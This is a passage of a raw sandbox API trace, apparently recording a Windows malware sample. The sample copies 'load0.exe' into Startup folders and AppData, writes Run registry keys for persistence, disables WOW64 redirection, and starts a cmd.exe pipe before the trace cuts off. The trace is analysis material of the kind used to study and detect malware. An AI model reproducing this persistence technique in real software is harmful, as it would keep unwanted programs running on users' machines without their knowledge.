dwFlags=0x0, lpMem=0x63e4b0 | out: hHeap=0x630000) returned 1 [0240.226] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\load0.exe", lpDst=0x6ccb90, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\load0.exe") returned 0x1e [0240.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dcb98 | out: hHeap=0x630000) returned 1 [0240.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ccb90 | out: hHeap=0x630000) returned 1 [0240.227] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x20e0020 [0240.230] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.230] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f7e0 [0240.230] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ab8 [0240.230] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ab8, Size=0x20) returned 0x66f740 [0240.230] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0240.230] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0240.230] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0240.230] lstrlenW (lpString="kernel32.dll") returned 12 [0240.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f7e0 | out: hHeap=0x630000) returned 1 [0240.230] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0240.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f740 | out: hHeap=0x630000) returned 1 [0240.231] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf8c [0240.231] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\load0.exe" (normalized: "c:\\windows\\system32\\load0.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.408] CloseHandle (hObject=0xf8c) returned 1 [0240.409] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677b18 [0240.409] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677b18, Size=0x20) returned 0x66f8a8 [0240.409] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677b18 [0240.409] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677b18, Size=0x20) returned 0x66f6f0 [0240.409] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0240.409] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0240.409] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0240.409] lstrlenW (lpString="kernel32.dll") returned 12 [0240.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f6f0 | out: hHeap=0x630000) returned 1 [0240.409] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0240.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f8a8 | out: hHeap=0x630000) returned 1 [0240.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x20e0020 | out: hHeap=0x630000) returned 1 [0240.412] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x6ccb90 [0240.413] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x6dcb98 [0240.413] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677a70 [0240.413] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677a70, Size=0x20) returned 0x66f6c8 [0240.413] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f6c8, Size=0x40) returned 0x642920 [0240.413] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x642920, Size=0x80) returned 0x641ae0 [0240.413] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x641ae0, Size=0x100) returned 0x63e4b0 [0240.413] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0240.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x63e4b0 | out: hHeap=0x630000) returned 1 [0240.413] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\load0.exe", lpDst=0x6ccb90, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\load0.exe") returned 0x2a [0240.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dcb98 | out: hHeap=0x630000) returned 1 [0240.414] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ccb90 | out: hHeap=0x630000) returned 1 [0240.415] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x20eb020 [0240.418] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677a70 [0240.418] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677a70, Size=0x20) returned 0x66f650 [0240.418] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677a70 [0240.418] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677a70, Size=0x20) returned 0x66f8a8 [0240.418] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0240.418] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0240.418] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0240.418] lstrlenW (lpString="kernel32.dll") returned 12 [0240.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f650 | out: hHeap=0x630000) returned 1 [0240.418] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0240.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f8a8 | out: hHeap=0x630000) returned 1 [0240.418] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf8c [0240.418] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\load0.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\load0.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf90 [0240.425] ReadFile (in: hFile=0xf8c, lpBuffer=0x20eb020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x20eb020*, lpNumberOfBytesRead=0x19fd90*=0x3e600, lpOverlapped=0x0) returned 1 [0240.439] WriteFile (in: hFile=0xf90, lpBuffer=0x20eb020*, nNumberOfBytesToWrite=0x3e600, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x20eb020*, lpNumberOfBytesWritten=0x19fd90*=0x3e600, lpOverlapped=0x0) returned 1 [0240.445] ReadFile (in: hFile=0xf8c, lpBuffer=0x20eb020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x20eb020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0240.447] CloseHandle (hObject=0xf90) returned 1 [0240.481] CloseHandle (hObject=0xf8c) returned 1 [0240.481] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.481] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f6c8 [0240.481] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677b18 [0240.481] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677b18, Size=0x20) returned 0x66f7e0 [0240.481] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0240.482] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0240.482] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0240.482] lstrlenW (lpString="kernel32.dll") returned 12 [0240.482] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f7e0 | out: hHeap=0x630000) returned 1 [0240.482] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0240.482] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f6c8 | out: hHeap=0x630000) returned 1 [0240.482] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x20eb020 | out: hHeap=0x630000) returned 1 [0240.489] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.489] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f6c8 [0240.489] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f6c8, Size=0x40) returned 0x6424e8 [0240.489] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6424e8, Size=0x80) returned 0x641ae0 [0240.489] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\load0.exe") returned 41 [0240.489] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0240.489] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c) returned 0x63e9e8 [0240.489] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0xf8c) returned 0x0 [0240.490] RegSetValueExW (hKey=0xf8c, lpValueName="load0.exe", Reserved=0x0, dwType=0x1, lpData=0x6acb80, cbData=0x52) returned 0x5 [0240.490] RegCloseKey (hKey=0xf8c) returned 0x0 [0240.490] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x63e9e8 | out: hHeap=0x630000) returned 1 [0240.490] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\load0.exe") returned 41 [0240.490] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0240.490] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c) returned 0x63e9e8 [0240.490] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0xf90) returned 0x0 [0240.491] RegSetValueExW (in: hKey=0xf90, lpValueName="load0.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\load0.exe", cbData=0x52 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\load0.exe") returned 0x0 [0240.492] RegCloseKey (hKey=0xf90) returned 0x0 [0240.492] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x63e9e8 | out: hHeap=0x630000) returned 1 [0240.492] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0240.492] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x641ae0 | out: hHeap=0x630000) returned 1 [0240.492] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x6ccb90 [0240.492] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x6dcb98 [0240.492] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.493] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f768 [0240.493] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f768, Size=0x40) returned 0x642920 [0240.493] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x642920, Size=0x80) returned 0x641ae0 [0240.493] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x641ae0, Size=0x100) returned 0x63e4b0 [0240.493] lstrlenW (lpString="") returned 0 [0240.493] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0240.493] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8c) returned 0x641ae0 [0240.493] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0xf90) returned 0x0 [0240.493] RegQueryValueExW (in: hKey=0xf90, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6dcb98, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x6dcb98*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0240.493] RegCloseKey (hKey=0xf90) returned 0x0 [0240.493] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x641ae0 | out: hHeap=0x630000) returned 1 [0240.493] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0240.493] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8c) returned 0x641ae0 [0240.493] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0xf90) returned 0x0 [0240.493] RegQueryValueExW (in: hKey=0xf90, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6dcb98, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0240.493] RegCloseKey (hKey=0xf90) returned 0x0 [0240.493] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x641ae0 | out: hHeap=0x630000) returned 1 [0240.493] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0240.494] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0240.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x63e4b0 | out: hHeap=0x630000) returned 1 [0240.494] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe", lpDst=0x6ccb90, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe") returned 0x58 [0240.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dcb98 | out: hHeap=0x630000) returned 1 [0240.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ccb90 | out: hHeap=0x630000) returned 1 [0240.495] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x20eb020 [0240.497] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ab8 [0240.497] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ab8, Size=0x20) returned 0x66f8a8 [0240.497] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.498] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f7e0 [0240.498] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0240.498] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0240.498] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0240.498] lstrlenW (lpString="kernel32.dll") returned 12 [0240.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f8a8 | out: hHeap=0x630000) returned 1 [0240.498] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0240.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f7e0 | out: hHeap=0x630000) returned 1 [0240.498] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf90 [0240.498] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.499] CloseHandle (hObject=0xf90) returned 1 [0240.499] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.499] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f998 [0240.499] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677a70 [0240.499] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677a70, Size=0x20) returned 0x66f920 [0240.499] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0240.500] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0240.500] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0240.513] lstrlenW (lpString="kernel32.dll") returned 12 [0240.513] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f920 | out: hHeap=0x630000) returned 1 [0240.513] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0240.513] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f998 | out: hHeap=0x630000) returned 1 [0240.513] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x20eb020 | out: hHeap=0x630000) returned 1 [0240.516] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x6ccb90 [0240.517] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x6dcb98 [0240.517] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.517] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f998 [0240.517] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f998, Size=0x40) returned 0x6423c8 [0240.517] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6423c8, Size=0x80) returned 0x641ae0 [0240.517] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x641ae0, Size=0x100) returned 0x63e4b0 [0240.517] lstrlenW (lpString="") returned 0 [0240.517] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0240.517] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8c) returned 0x641ae0 [0240.517] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0xf90) returned 0x0 [0240.517] RegQueryValueExW (in: hKey=0xf90, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6dcb98, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0240.518] RegCloseKey (hKey=0xf90) returned 0x0 [0240.518] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x641ae0 | out: hHeap=0x630000) returned 1 [0240.518] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0240.518] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0240.518] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x63e4b0 | out: hHeap=0x630000) returned 1 [0240.518] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe", lpDst=0x6ccb90, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe") returned 0x47 [0240.518] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dcb98 | out: hHeap=0x630000) returned 1 [0240.518] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ccb90 | out: hHeap=0x630000) returned 1 [0240.519] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x20e4020 [0240.522] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.522] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f6c8 [0240.522] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.522] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f8d0 [0240.522] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0240.523] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0240.523] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0240.523] lstrlenW (lpString="kernel32.dll") returned 12 [0240.523] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f6c8 | out: hHeap=0x630000) returned 1 [0240.523] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0240.523] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f8d0 | out: hHeap=0x630000) returned 1 [0240.523] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf90 [0240.523] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.523] CloseHandle (hObject=0xf90) returned 1 [0240.524] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.524] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f7e0 [0240.524] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.524] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f808 [0240.524] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0240.524] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0240.524] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0240.524] lstrlenW (lpString="kernel32.dll") returned 12 [0240.524] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f808 | out: hHeap=0x630000) returned 1 [0240.524] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0240.524] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f7e0 | out: hHeap=0x630000) returned 1 [0240.525] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x20e4020 | out: hHeap=0x630000) returned 1 [0240.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6acb80 | out: hHeap=0x630000) returned 1 [0240.528] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6bcb88 | out: hHeap=0x630000) returned 1 [0240.540] lstrlenW (lpString="%windir%\\System32") returned 17 [0240.541] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x642338 | out: hHeap=0x630000) returned 1 [0240.541] lstrlenW (lpString="%appdata%") returned 9 [0240.541] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f790 | out: hHeap=0x630000) returned 1 [0240.541] lstrlenW (lpString="%sh(Startup)%") returned 13 [0240.541] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f880 | out: hHeap=0x630000) returned 1 [0240.541] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0240.541] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6428d8 | out: hHeap=0x630000) returned 1 [0240.541] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.541] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f998 [0240.541] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f998, Size=0x40) returned 0x642968 [0240.541] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x642968, Size=0x80) returned 0x641ae0 [0240.541] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677a70 [0240.541] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677a70, Size=0x20) returned 0x66f6f0 [0240.541] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1fffc) returned 0x6acb80 [0240.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x6ccb88 [0240.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x6dcb90 [0240.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.542] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f948 [0240.542] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f948, Size=0x40) returned 0x6425c0 [0240.542] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6425c0, Size=0x80) returned 0x6ed5d8 [0240.542] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5d8, Size=0x100) returned 0x63e4b0 [0240.542] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0240.542] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x63e4b0 | out: hHeap=0x630000) returned 1 [0240.542] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6ccb88, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0240.542] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dcb90 | out: hHeap=0x630000) returned 1 [0240.543] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ccb88 | out: hHeap=0x630000) returned 1 [0240.544] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, 